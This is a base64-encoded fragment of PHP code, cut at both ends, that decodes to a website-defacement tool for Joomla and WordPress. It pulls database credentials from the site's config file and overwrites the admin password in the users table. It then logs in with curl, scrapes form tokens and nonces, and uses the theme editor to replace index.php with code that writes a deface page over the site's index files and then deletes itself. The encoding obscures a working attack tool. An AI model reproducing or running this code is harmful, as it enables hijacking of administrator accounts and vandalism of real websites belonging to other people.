0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KJHJldHVybiA9IHR1bmlzaWEoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJldHVybiIgdmFsdWU9IicsJyInKTsNCiRoaWRkZW4gPSB0dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNCk7DQoNCmlmKCRyZXR1cm4gJiYgJGhpZGRlbikgew0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzEyMyZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mcmV0dXJuPSIuJHJldHVybi4iJiIuJGhpZGRlbi4iPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQppZigkcG9zID09PSBmYWxzZSkgew0KJG91dHB1dC49ICJbLV0gTG9naW4gRXJyb3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIExvZ2luIFN1Y2Nlc3NmdWw8YnIgLz4iOw0KfQ0KfQ0KaWYoJHBvcyl7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmdGFzaz1zb3VyY2UuZWRpdCZpZD0iLmJhc2U2NF9lbmNvZGUoJHRlbXBsYXRlX2lkLiI6aW5kZXgucGhwIik7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj10dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMik7DQppZigkaGlkZGVuMikgew0KJG91dHB1dC49ICJbK10gaW5kZXgucGhwIGZpbGUgZm91bmQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQp9DQp9DQppZigkaGlkZGVuMikgew0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJmxheW91dD1lZGl0IjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsImpmb3JtW3NvdXJjZV09Ii4kY29udGVudC4iJmpmb3JtW2ZpbGVuYW1lXT1pbmRleC5waHAmamZvcm1bZXh0ZW5zaW9uX2lkXT0iLiR0ZW1wbGF0ZV9pZC4iJiIuJGhpZGRlbjIuIj0xJnRhc2s9c291cmNlLnNhdmUiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIj4nKTsNCiRjb25kID0gMDsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3I8YnIgLz4iOw0KICAgDQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gSW5kZXgucGhwIFRlbXBsYXRlIHN1Y2Nlc3NmdWxseSBzYXZlZDxiciAvPiI7DQokY29uZCA9IDE7DQp9DQp9DQogICAgICAgIH0gDQogICAgICAgIGVsc2Ugew0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguInRlbXBsYXRlc19tZW51YCBXSEVSRSBjbGllbnRfaWQ9JzAnIik7DQokZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQokdXNlcmFnZW50PSJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjBiOyBXaW5kb3dzIE5UIDUuMTsgLk5FVCBDTFIgMS4xLjQzMjI7IEFsZXhhIFRvb2xiYXI7IC5ORVQgQ0xSIDIuMC41MDcyNykiOw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiRoaWRkZW49dHVuaXNpYSgkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDMpOw0KDQppZigkaGlkZGVuKSB7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzQ1NiZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mIi4kaGlkZGVuLiI9MSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQokcG9zID0gc3RycG9zKCRidWZmZXIsImNvbV9jb25maWciKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBMb2dpbiBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gTG9naW4gU3VjY2Vzc2Z1bDxiciAvPiI7DQp9DQp9DQoNCmlmKCRwb3MpIHsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQokaGlkZGVuMj10dW5pc2lhKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNik7DQppZigkaGlkZGVuMikgew0KJG91dHB1dC49ICJbK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCn0NCn0NCg0KaWYoJGhpZGRlbjIpIHsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZsYXlvdXQ9ZWRpdCI7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kY29udGVudC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIGZhZGUiPicpOw0KJGNvbmQgPSAwOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiRvdXRwdXQuPSAiWy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gSW5kZXgucGhwIFRlbXBsYXRlIHN1Y2Nlc3NmdWxseSBzYXZlZDxiciAvPiI7DQokY29uZCA9IDE7DQp9DQp9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLiRjbyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0ICwgJ3RlbXBsYXRlJz0+JHRlbXBsYXRlX25hbWUpOyANCn0NCg0KDQovLyB3b3JkcHJlc3MgaW5kZXggY2hhbmdlcg0KDQpmdW5jdGlvbiBpbmRleF9jaGFuZ2VyX3dwKCRjb25mLCAkaW5kZXgpIHsNCiRkb2wgPSAnJCc7DQokcHJlaW5kZXggPSAiPD9waHANCiIuJGRvbC4iZGVmID0gZmlsZV9nZXRfY29udGVudHMoJyIuJGluZGV4LiInKTsNCiIuJGRvbC4icCA9IGV4cGxvZGUoJ3B1YmxpY19odG1sJyxkaXJuYW1lKF9fRklMRV9fKSk7DQoiLiRkb2wuInAgPSAiLiRkb2wuInBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgiLiRkb2wuImhhbmRsZSA9IG9wZW5kaXIoIi4kZG9sLiJwKSkgew0KICAgICIuJGRvbC4icDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgiLiRkb2wuImZwMSwgIi4kZG9sLiJkZWYpOw0KICAgICIuJGRvbC4icDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCIuJGRvbC4iZnAxLCAiLiRkb2wuImRlZik7DQogICAgIi4kZG9sLiJmcDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXguaHRtJywndysnKTsNCiAgICBAZndyaXRlKCIuJGRvbC4iZnAxLCAiLiRkb2wuImRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigiLiRkb2wuImhhbmRsZSk7DQp1bmxpbmsoX19GSUxFX18pOw0KPz4iOw0KJGNvbnRlbnQgPSBiYXNlNjRfZW5jb2RlKCRwcmVpbmRleCk7DQogICAgJG91dHB1dCA9ICcnOw0KICAgICRkb2wgPSAnJCc7DQogICAgJGdvID0gMDsNCiAgICAkdXNlcm5hbWUgPSB0dW5pc2lhKCRjb25mLCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQogICAgJHBhc3N3b3JkID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9QQVNTV09SRCcsICciLCInKTsiKTsNCiAgICAkZGJuYW1lID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KICAgICRwcmVmaXggPSB0dW5pc2lhKCRjb25mLCRkb2wuInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KICAgICRob3N0ID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9IT1NUJywgJyIsIicpOyIpOw0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTsNCiAgICBpZigkbGluaykgew0KICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOw0KICAgICAgICAkZG9sID0gJyQnOw0KICAgICAgICAkcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnYWRtaW4nLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRvdXRwdXQuPSAiWy1dIERCIEVycm9yPGJyIC8+IjsNCiAgICB9DQogICAgaWYoJHJlcTEpIHsNCg0KICAgICAgICAkcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOw0KICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICAgICAkc2l0ZV91cmw9JGRhdGFbIm9wdGlvbl92YWx1ZSJdOyANCg0KICAgICAgICAkcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTsNCiAgICAgICAgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiAgICAgICAgJHRlbXBsYXRlID0gJGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KDQogICAgICAgICRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4ib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J2N1cnJlbnRfdGhlbWUnIik7DQogICAgICAgICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQogICAgICAgICRjdXJyZW50X3RoZW1lID0gJGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KDQogICAgICAgICR1c2VyYWdlbnQ9Ik1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMGI7IFdpbmRvd3MgTlQgNS4xOyAuTkVUIENMUiAxLjEuNDMyMjsgQWxleGEgVG9vbGJhcjsgLk5FVCBDTFIgMi4wLjUwNzI3KSI7DQogICAgICAgICR1cmwyPSRzaXRlX3VybC4iL3dwLWxvZ2luLnBocCI7DQoNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywibG9nPWFkbWluJnB3ZD0xMjMxMjMmcmVtZW1iZXJtZT1mb3JldmVyJndwLXN1Ym1pdD1Mb2cgSW4mdGVzdGNvb2tpZT0xIik7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7DQogICAgICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KICAgICAgICAkcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTsNCiAgICAgICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiRvdXRwdXQuPSAiWy1dIExvZ2luIEVycm9yPGJyIC8+IjsNCiAgICAgICAgfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIExvZ2luIFN1Y2Nlc3NmdWw8YnIgLz4iOw0KJGdvID0gMTsNCiAgICAgICAgfQ0KICAgICAgICBpZigkZ28pIHsNCiRjb25kID0gMDsNCiR1cmwyPSRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHA/ZmlsZT0vdGhlbWVzLyIuJHRlbXBsYXRlLicvaW5kZXgucGhwJnRoZW1lPScudXJsZW5jb2RlKCRjdXJyZW50X3RoZW1lKS4nJmRpcj10aGVtZSc7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIwID0gY3VybF9leGVjKCRjaCk7DQoNCiRfd3Bub25jZSA9IHR1bmlzaWEoJGJ1ZmZlcjAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJfd3Bub25jZSIgbmFtZT0iX3dwbm9uY2UiIHZhbHVlPSInLCciIC8+Jyk7DQokX2ZpbGUgPSB0dW5pc2lhKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQppZihzdWJzdHJfY291bnQoJF9maWxlLCIvaW5kZXgucGhwIikgIT0gMCl7DQokb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgbG9hZGVkIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQokdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuYmFzZTY0X2RlY29kZSgkY29udGVudCkuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOw0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkaXYgaWQ9Im1lc3NhZ2UiIGNsYXNzPSJ1cGRhdGVkIj4nKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIEluZGV4LnBocCBVcGRhdGVkIFN1Y2Nlc3NmdWx5PGJyIC8+IjsNCiRoayA9IGV4cGxvZGUoJ3B1YmxpY19odG1sJywkX2ZpbGUpOw0KJG91dHB1dC49ICdbK10gRGVmYWNlICcuZmlsZV9nZXRfY29udGVudHMoJHNpdGVfdXJsLnN0cl9yZXBsYWNlKCcvYmxvZycsJycsJGhrWzFdKSk7DQokY29uZCA9IDE7DQp9DQp9IGVsc2Ugew0KJHVybDI9JHNpdGVfdXJsLicvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPWluZGV4LnBocCZ0aGVtZT0nLiR0ZW1wbGF0ZTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIwID0gY3VybF9leGVjKCRjaCk7DQoNCiRfd3Bub25jZSA9IHR1bmlzaWEoJGJ1ZmZlcjAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJfd3Bub25jZSIgbmFtZT0iX3dwbm9uY2UiIHZhbHVlPSInLCciIC8+Jyk7DQokX2ZpbGUgPSB0dW5pc2lhKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQppZihzdWJzdHJfY291bnQoJF9maWxlLCJpbmRleC5waHAiKSAhPSAwKXsNCiRvdXRwdXQuPSAiWytdIGluZGV4LnBocCBsb2FkZWQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCiR1cmwyPSRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHAiOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRlbnQ9Ii5iYXNlNjRfZGVjb2RlKCRjb250ZW50KS4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJnRoZW1lPSIuJHRlbXBsYXRlLiImX3dwbm9uY2U9Ii4kX3dwbm9uY2UuIiZzdWJtaXQ9VXBkYXRlIEZpbGUiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCi